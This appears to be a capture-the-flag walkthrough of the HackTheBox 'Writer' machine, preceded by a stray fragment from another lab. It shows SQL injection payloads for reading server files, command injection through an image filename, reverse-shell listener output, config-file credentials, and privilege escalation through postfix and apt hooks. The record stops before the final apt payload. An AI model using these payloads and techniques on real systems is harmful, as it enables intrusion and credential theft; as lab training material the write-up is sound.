vulnosadmin@VulnOSv2:~$ su root Password: root@VulnOSv2:/home/vulnosadmin# id uid=0(root) gid=0(root) groups=0(root) root@VulnOSv2:/home/vulnosadmin# whoami root root@VulnOSv2:/home/vulnosadmin# cd /root root@VulnOSv2:~# ls flag.txt root@VulnOSv2:~# cat flag.txt Hello and welcome. You successfully compromised the company "JABC" and the server completely !! Congratulations !!! Hope you enjoyed it.
# Nmap 7.91 scan initiated Sun Aug 1 01:58:59 2021 as: nmap -vvv -p 22,80,139,445 -A -v -oN intial.nmap 10.10.11.101 Nmap scan report for 10.10.11.101 Host is up, received syn-ack (0.13s latency). Scanned at 2021-08-01 01:59:01 EDT for 17s
PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 98:20:b9:d0:52:1f:4e:10:3a:4a:93:7e:50:bc:b8:7d (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCwAA7IblnSMXNfqjkkoT+PAk2SPYBRL5gy0K0FQ2XbFGuPk6ImjJLrb0BF6qw3hU/I2V9ARRnn2SvHlz1+lLB0Ie9wkvH1gZfnUBd5X2sOS3vCzYJOBoD+yzJat40YmKx3NLjYCzkMd/KyTGGIH0cdlnROO6eJdnJN1QYMsrM4+QkkrQHtgz5KAk/aE18+1e5toWK1Px+KtVjvPWiD7mTb4J99f79L/5CCI9nUfmjeB8EU9qe3igUQ3zCGVFGUNTA9Vva99kh3SC6YjBe8+9ipFSZFVSqaJoJpZF83Oy2BEPWEb6lgo3cx7FwGH24nT833Y4Urk294/5ym8F3JFxo/FCgtjuYwp5Im1j9oVOGSnECKfC785zZiSu+ubdnxDjvbuRgW34DsKZpbtVvwxs8R/VNE3bSldVLmz5gCwP0Dfaop+Tbn7MW8OJWL6hEQqNiLw3cSBpzPId/EIMO7TMfqVXTfkMtD1yiIlafd3ianGLu+VUpJ3Bg8jk/COUOHj/M= | 256 10:04:79:7a:29:74:db:28:f9:ff:af:68:df:f1:3f:34 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBD+ZKRtm6JRYjPO1v8n2nR/cGDBj0Oaydm1VE6rUnvyI6bxfnPCaRjvxDrV3eW5rRXbK/ybC0k5WHtQ9iWogmAU= | 256 77:c4:86:9a:9f:33:4f:da:71:20:2c:e1:51:10:7e:8d (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBaCZ4ALrn0m103XaA+e+YPrTO2f1hK8mAD5kUxJ7O9L 80/tcp open http syn-ack Apache httpd 2.4.41 ((Ubuntu)) | http-methods: |_ Supported Methods: HEAD GET OPTIONS |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Story Bank | Writer.HTB 139/tcp open netbios-ssn syn-ack Samba smbd 4.6.2 445/tcp open netbios-ssn syn-ack Samba smbd 4.6.2 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sun Aug 1 01:59:18 2021 -- 1 IP address (1 host up) scanned in 19.34 seconds
Looks like we have SSH,SMB and WEB. So let’s start with SMB
============================================ | Nbtstat Information for 10.10.11.101 | ============================================ Looking up status of 10.10.11.101 WRITER <00> - B <ACTIVE> Workstation Service WRITER <03> - B <ACTIVE> Messenger Service WRITER <20> - B <ACTIVE> File Server Service ..__MSBROWSE__. <01> - <GROUP> B <ACTIVE> Master Browser WORKGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name WORKGROUP <1d> - B <ACTIVE> Master Browser WORKGROUP <1e> - <GROUP> B <ACTIVE> Browser Service Elections
MAC Address = 00-00-00-00-00-00
===================================== | Session Check on 10.10.11.101 | ===================================== [+] Server 10.10.11.101 allows sessions using username '', password ''
=========================================== | Getting domain SID for 10.10.11.101 | =========================================== Domain Name: WORKGROUP Domain Sid: (NULL SID) [+] Can't determine if host is part of domain or part of a workgroup ====================================== | OS information on 10.10.11.101 | ====================================== [+] Got OS info for 10.10.11.101 from smbclient: [+] Got OS info for 10.10.11.101 from srvinfo: WRITER Wk Sv PrQ Unx NT SNT writer server (Samba, Ubuntu) platform_id : 500 os version : 6.1 server type : 0x809a03 ============================= | Users on 10.10.11.101 | ============================= index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: kyle Name: Kyle Travis Desc: user:[kyle] rid:[0x3e8] ========================================= | Share Enumeration on 10.10.11.101 | ========================================= Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers writer2_project Disk IPC$ IPC IPC Service (writer server (Samba, Ubuntu)) SMB1 disabled -- no workgroup available [+] Attempting to map shares on 10.10.11.101 //10.10.11.101/print$ Mapping: DENIED, Listing: N/A //10.10.11.101/writer2_project Mapping: DENIED, Listing: N/A //10.10.11.101/IPC$ [E] Can't understand response: NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
==================================================== | Password Policy Information for 10.10.11.101 | ====================================================
[+] Attaching to 10.10.11.101 using a NULL share
[+] Trying protocol 139/SMB...
[+] Found domain(s):
[+] WRITER [+] Builtin
[+] Password Info for Domain: WRITER
[+] Minimum password length: 5 [+] Password history length: None [+] Maximum password age: 37 days 6 hours 21 minutes [+] Password Complexity Flags: 000000
============================================= | Getting printer info for 10.10.11.101 | ============================================= No printers returned.
enum4linux complete on Sun Aug 1 02:15:46 2021
We have tons of information. Especially the username using RID Cycling So let’s create a user.txt
1 2 3 4 5
┌──(root💀kali)-[~/hackthebox/machine/writer] └─# cat user.txt kyle john nobody
smbmap
1 2 3 4 5 6 7
kali@kali:~/HackTheBox/Writer$ smbmap -u '' -p '' -R -H 10.10.11.101 [+] IP: 10.10.11.101:445 Name: 10.10.11.101 Disk Permissions Comment ---- ----------- ------- print$ NO ACCESS Printer Drivers writer2_project NO ACCESS IPC$ NO ACCESS IPC Service (writer server (Samba, Ubuntu))
Looks like annoymous login is no good as we can read any shares.
WEB
Visiting Website
Visiting the website it looks like a normal blog website
At the Bottom you can see a refference to writer.htb so let’s add it in /etc/hosts probably this is not required but it’s better to be safe.
Looks like we have few intresting directories. let’s first visit administrative.
Crawling through the directories
Looks like a normal login page.
/dashboard redirects to the homepage and /about has nothing intresting. /contact has the form looks like a dead form which requests with the get request but give 404 response.
So the only good enpoint is the /administrative we have the user so we can spray the password but before that let’s see if it has any sql injections.
Sql-Injection
so I tried doing some basic sqlinjection payload at the login form.
kali@kali:~/HackTheBox/Writer$ sqlmap -r r.txt --dbs --batch --level 5 --risk 3 ___ __H__ ___ ___[)]_____ ___ ___ {1.4.10#stable} |_ -| . [(] | .'| . | |___|_ [,]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 02:25:59 /2021-08-01/
[02:25:59] [INFO] parsing HTTP request from 'r.txt' [02:26:01] [INFO] testing connection to the target URL [02:26:02] [INFO] testing if the target URL content is stable [02:26:02] [INFO] target URL content is stable [02:26:02] [INFO] testing if POST parameter 'uname' is dynamic [02:26:02] [WARNING] POST parameter 'uname' does not appear to be dynamic [02:26:03] [WARNING] heuristic (basic) test shows that POST parameter 'uname' might not be injectable [02:26:03] [INFO] testing for SQL injection on POST parameter 'uname' [02:26:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [02:26:22] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause' got a refresh intent (redirect like response common to login pages) to '/dashboard'. Do you want to apply it from now on? [Y/n] Y got a 302 redirect to 'http://writer.htb/'. Do you want to follow? [Y/n] Y [02:26:26] [INFO] POST parameter 'uname' appears to be 'OR boolean-based blind - WHERE or HAVING clause' injectable (with --code=302) [02:26:28] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL' it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y [02:26:28] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)' [02:26:28] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)' [02:26:30] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)' [02:26:30] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)' [02:26:31] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)' [02:26:31] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)' [02:26:31] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)' [02:26:32] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)' [02:26:32] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [02:26:33] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [02:26:34] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' [02:26:34] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' [02:26:35] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)' [02:26:35] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)' [02:26:36] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [02:26:37] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)' [02:26:40] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)' [02:26:40] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)' [02:26:41] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)' [02:26:41] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)' [02:26:41] [INFO] testing 'MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)' [02:26:41] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)' [02:26:41] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)' [02:26:41] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)' [02:26:41] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)' [02:26:41] [INFO] testing 'Generic inline queries' [02:26:41] [INFO] testing 'MySQL inline queries' [02:26:41] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)' [02:26:43] [INFO] testing 'MySQL >= 5.0.12 stacked queries' [02:26:44] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)' [02:26:47] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)' [02:26:49] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)' [02:26:59] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)' [02:27:01] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [02:27:13] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (query SLEEP)' [02:27:48] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SLEEP)' [02:27:59] [INFO] POST parameter 'uname' appears to be 'MySQL >= 5.0.12 AND time-based blind (SLEEP)' injectable [02:27:59] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [02:27:59] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [02:28:18] [INFO] target URL appears to be UNION injectable with 6 columns injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y [02:29:44] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql') [02:29:44] [INFO] testing 'Generic UNION query (15) - 21 to 40 columns' [02:29:54] [INFO] testing 'Generic UNION query (15) - 41 to 60 columns' [02:30:03] [INFO] testing 'Generic UNION query (15) - 61 to 80 columns' [02:30:10] [INFO] testing 'Generic UNION query (15) - 81 to 100 columns' [02:30:18] [INFO] testing 'MySQL UNION query (15) - 1 to 20 columns' [02:31:01] [INFO] testing 'MySQL UNION query (15) - 21 to 40 columns' [02:31:14] [INFO] testing 'MySQL UNION query (15) - 41 to 60 columns' [02:31:26] [INFO] testing 'MySQL UNION query (15) - 61 to 80 columns' [02:31:32] [INFO] testing 'MySQL UNION query (15) - 81 to 100 columns' [02:31:41] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie'if you experience any problems during data retrieval [02:31:41] [INFO] checking if the injection point on POST parameter 'uname' is a false positive POST parameter 'uname' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection point(s) with a total of 399 HTTP(s) requests: --- Parameter: uname (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause Payload: uname=-5059' OR 5521=5521-- GmkC&password=admin Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (SLEEP) Payload: uname=admin' AND SLEEP(5)-- RZDj&password=admin --- [02:32:13] [INFO] the back-end DBMS is MySQL [02:32:14] [WARNING] reflective value(s) found and filtering out redirect is a result of a POST request. Do you want to resend original POST data to a new location? [y/N] N back-end DBMS: MySQL >= 5.0.12 (TiDB fork) [02:32:15] [INFO] fetching database names [02:32:15] [INFO] fetching number of databases [02:32:15] [WARNING] running in a single-thread mode. Please consider usage of option '--threads'for faster data retrieval
[02:32:15] [INFO] retrieved:
[02:32:19] [INFO] retrieved: [02:32:19] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[02:32:21] [WARNING] incase of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex' [02:32:21] [ERROR] unable to retrieve the number of databases [02:32:21] [INFO] falling back to current database [02:32:21] [INFO] fetching current database
[02:32:21] [INFO] retrieved:
[02:34:18] [INFO] retrieved: [02:34:20] [CRITICAL] unable to retrieve the database names [02:34:20] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/writer.htb' [02:34:20] [WARNING] your sqlmap version is outdated
[*] ending @ 02:34:20 /2021-08-01/
Looks like we have SQL Injection but we cannot retrive database names which is annoying so let’s try and read some files. So we know that the it’s time based blind sql injection so it will take up lot of time to get long file so I decided to check which payload sqlmap uses for the injection and play around with that payload manually to read some files.
I used wireshark to get the exact payload that sqlmap used I used wireshark to capture traffic on my tun0 interface which looked like.
Then I picked up a POST request to /administrative endpoint that has a payload and followed it’s TCP stream.
URL Decoding the payload will make it more redable.
1
UNAME' AND (SELECT 1088 FROM (SELECT(SLEEP(1-(IF(ORD(MID((IFNULL(CAST(HEX(LOAD_FILE(0x2f6574632f686f73746e616d65)) AS NCHAR),0x20)),6,1))>57,0,1)))))ZDPK) AND 'GIYW'='GIYW
and there is still few hex numbers in the there so let’s get them sorted also.
1 2 3 4 5 6 7 8
kali@kali:~/HackTheBox/Writer$ python3 Python 3.9.2 (default, Feb 28 2021, 17:03:44) [GCC 10.2.1 20210110] on linux Type "help", "copyright", "credits" or "license"for more information. >>> print(bytes.fromhex('2f6574632f686f73746e616d65')) b'/etc/hostname' >>> print(bytes.fromhex('20')) b' '
So the final payload looks like as follow.
1
UNAME' AND (SELECT 1088 FROM (SELECT(SLEEP(1-(IF(ORD(MID((IFNULL(CAST(HEX(LOAD_FILE(/etc/hostname)) AS NCHAR), )),6,1))>57,0,1)))))ZDPK) AND 'GIYW'='GIYW
so it is still the time based sql injection which can take a lot of time so, we have to think of some other techinique to get the files. One famous and extremly fast technique is using union statement so let’s create the cascade of the main sql query.
Exploitation
Creating fast Working SQL query
So we know we will use union so we will use something like UNION ALL SELECT and then we know we have to use function readfile to readfiles from remote filesystem.
so that being said let’s create a query.
step 1 -> terminiating the ongoin query
We have to use single quotes to terminate the query. oops ‘
step 2 -> Using UNION statement:
UNION ALL SELECT
step 3 -> Adjusting No. of rows.
This is probably the trickiest step of all the steps. As we know that the table will have at leat two columns uname and password it’s best to start with that. so let’s try that.
So looks like our no. of columns is mismatched as we get incorrect credential when we get the no. of colums equal to the no. of colums in table we should be logged in.
Trying for all number of columns we get hit on 6 columns.
so now we know the number of columns.
step 4 -> Which column to inject so it returns the output.
So the answer to this lies in the above photo upon succesfully injecting the query we get the output ‘welcome 1’ so we know the content of column 2 is displayed so we have to inject that column.
0,{SOME SQL CODE},2,3,4,5
step 5 -> Terminate the query
after you SQL query just terminate the query so it doesn’t spit out the error.
Final SQL query
Combining all the above steps to generate the sql query we get something like this.
1
oops' UNION ALL SELECT 0,LOAD_FILE('/etc/passwd'),2,3,4,5; --
So let’s try that query. And Boom we have fast SQL query to read files.
So Now we can try few things we can try and search for passwords for most part we don’t have much on this. [THERE IS THE UNINTENDED WAY BUT WE WILL KEEP DISTANCE FROM IT AS IT’S BASICALLY BRUTEFORCING]
So another thing we could do is just look for the source code of the website and try to find vuln in that.
So let’s see the apache conf file to find the root directory of the installation of apache server.
Looks like the root directory is /var/www/writer.htb/writer/ and we have the path to .wsgi file so let’s look at that first. /var/www/writer.htb/writer.wsgi
writer.wsgi
1 2 3 4 5 6 7 8 9 10 11 12 13
Welcome #!/usr/bin/python import sys import logging import random import os
# Import the __init__.py from the app folder from writer import app as application application.secret_key = os.environ.get("SECRET_KEY", "")
so we know that it has init.py in app folder so let’s hunt for that. You find that file on /var/www/writer.htb/writer/init.py
#Define connection for database defconnections(): try: connector = mysql.connector.connect(user='admin', password='ToughPasswordToCrack', host='127.0.0.1', database='writer') return connector except mysql.connector.Error as err: if err.errno == errorcode.ER_ACCESS_DENIED_ERROR: return ("Something is wrong with your db user name or password!") elif err.errno == errorcode.ER_BAD_DB_ERROR: return ("Database does not exist") else: return ("Another exception, returning!") else: print ('Connection to DB is ready!')
WOAH it’s a long file so let’s just glaze through it and see if we can find something intresting.
Just looking at the imported library we can see that it is importing OS so that’s intresting so just look for the instance of OS only to see if we have code execution somewhere.
Looking for os.system which basically executes the bash commands we find this piece of code.
So looks like we have command injection in the name of the image as it is sending the filename directly to system command without sanatizing it but we have to be careful about the speacial chars so it doesn’t break the command in between so I will base64 encode it to be safe.
Now that we have that file we have to upload it but before doing that start your nc listener. So now pick any of exsisting story and edit it and change the image file with your image file.
After you did that then you have to trigger that mv {} {} command by going to edit and changing the image url. Now intercept the the edit of the same story with the burp.
Now change the higlighted feild with the name of the malicious file.
But you have to give the local location of the filename so you know the base directory of the installation and from ffuf directorty fuzzing above we know that images are saved in /static.
and boom you can see our file so let’s write a local path for this file.
so let’s change this as image url and add ‘#’ sign at end so it ignores everything after our commands get executed.
And boom we have the REVSHELL.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
┌──(root💀kali)-[~/hackthebox/machine/writer] └─# nc -lvp 2233 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::2233 Ncat: Listening on 0.0.0.0:2233 Ncat: Connection from 10.10.11.101. Ncat: Connection from 10.10.11.101:42662. bash: cannot set terminal process group (1061): Inappropriate ioctl for device bash: no job control in this shell www-data@writer:/$ id
id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@writer:/$ www-data@writer:/$ whoami whoami www-data
www-data@writer:$ cd /etc/mysql www-data@writer:/etc/mysql$ ls conf.d debian-start debian.cnf mariadb.cnf mariadb.conf.d my.cnf my.cnf.fallback www-data@writer:/etc/mysql$ cat mariadb.cnf # The MariaDB configuration file # # The MariaDB/MySQL tools read configuration files in the following order: # 1. "/etc/mysql/mariadb.cnf" (this file) to set global defaults, # 2. "/etc/mysql/conf.d/*.cnf" to set global options. # 3. "/etc/mysql/mariadb.conf.d/*.cnf" to set MariaDB-only options. # 4. "~/.my.cnf" to set user-specific options. # # If the same option is defined multiple times, the last one will apply. # # One can use all long options that the program supports. # Run program with --help to get a list of available options and with # --print-defaults to see which it would actually understand and use.
# # This group is read both both by the client and the server # use it for options that affect everything # [client-server]
# Import all .cnf files from configuration directory !includedir /etc/mysql/conf.d/ !includedir /etc/mysql/mariadb.conf.d/
[client] database = dev user = djangouser password = DjangoSuperPassword default-character-set = utf8
we have username and password to login so let’s try that.
www-data@writer:/etc/mysql$ mysql -u djangouser -h 127.0.0.1-p DjangoSuperPassword
Reading table information for completion oftableandcolumn names You can turn off this feature toget a quicker startup with-A
Welcome to the MariaDB monitor. Commands endwith ; or \g. Your MariaDB connection id is49 Server version: 10.3.29-MariaDB-0ubuntu0.20.04.1 Ubuntu 20.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;'or'\h'for help. Type '\c'to clear the current input statement.
┌──(root💀kali)-[~/hackthebox/machine/writer] └─# ssh kyle@writer.htb The authenticity of host 'writer.htb (10.10.11.101)' can't be established. ECDSA key fingerprint is SHA256:GX5VjVDTWG6hUw9+T11QNDaoU0z5z9ENmryyyroNIBI. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'writer.htb' (ECDSA) to the list of known hosts. kyle@writer.htb's password: Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)
System information as of Fri 6 Aug 08:33:05 UTC 2021
System load: 0.18 Usage of /: 64.5% of 6.82GB Memory usage: 23% Swap usage: 0% Processes: 258 Users logged in: 0 IPv4 address for eth0: 10.10.11.101 IPv6 address for eth0: dead:beef::250:56ff:feb9:a196
0 updates can be applied immediately.
The list of available updates is more than a week old. To check for new updates run: sudo apt update Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
You have new mail. Last login: Fri Aug 6 04:49:11 2021 from 10.10.14.4 kyle@writer:~$ id uid=1000(kyle) gid=1000(kyle) groups=1000(kyle),997(filter),1002(smbgroup) kyle@writer:~$ whoami kyle kyle@writer:~$ cat user.txt 49b120a997fc7fdd05ad84575c2f5477
This were the few intresting thing from pspy64 so now let’s understand how sendmail works. There are few files we have to check to understand what is happening around so first let’s check disclaimer.
if [ `grep -wi ^${from_address}$ ${DISCLAIMER_ADDRESSES}` ]; then /usr/bin/altermime --input=in.$$ \ --disclaimer=/etc/postfix/disclaimer.txt \ --disclaimer-html=/etc/postfix/disclaimer.txt \ --xheader="X-Copyrighted-Material: Please visit http://www.company.com/privacy.htm" || \ { echo Message content rejected; exit$EX_UNAVAILABLE; } fi
$SENDMAIL"$@" <in.$$
exit $?
Looks like we have a bash script that gets executed to get some sanity checks when we send a mail so let’s add a revshell line in it and then trigger it.
the disclaimer is the edited disclaimer file and then sending mail. and boom we have shell as john.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
┌──(root💀kali)-[~/hackthebox/machine/writer] └─# nc -lvp 1234 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::1234 Ncat: Listening on 0.0.0.0:1234 Ncat: Connection from 10.10.11.101. Ncat: Connection from 10.10.11.101:47120. bash: cannot set terminal process group (13385): Inappropriate ioctl for device bash: no job control in this shell john@writer:/var/spool/postfix$ id id uid=1001(john) gid=1001(john) groups=1001(john) john@writer:/var/spool/postfix$ whoami whoami john
System information disabled due to load higher than 2.0
0 updates can be applied immediately.
The list of available updates is more than a week old. To check for new updates run: sudo apt update Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Thu Aug 5 13:36:13 2021 from 10.10.14.59 john@writer:~$ id uid=1001(john) gid=1001(john) groups=1001(john),1003(management)
Enumeration
We can see that we are in management group so let’s see what files and directory we can access.
searching for ‘writable files in /etc/apt/apt.conf.d privESC’ in google we can find the below article which explains gretaly what we have to do to abuse that for privESC.
Looking through the article there should be something running ‘sudo apt-get update’ command so let’s see if there is anything running that command using pspy64.
So now we have the prerequiste satify so we can start with exploitation.
Exploitation
so we have can create a malicious line in /etc/apt/apt.conf.d/ to get command execution so let’s do that before that spin up the listener on your fav port.
And the let’s create a file that gets us the reverse shell.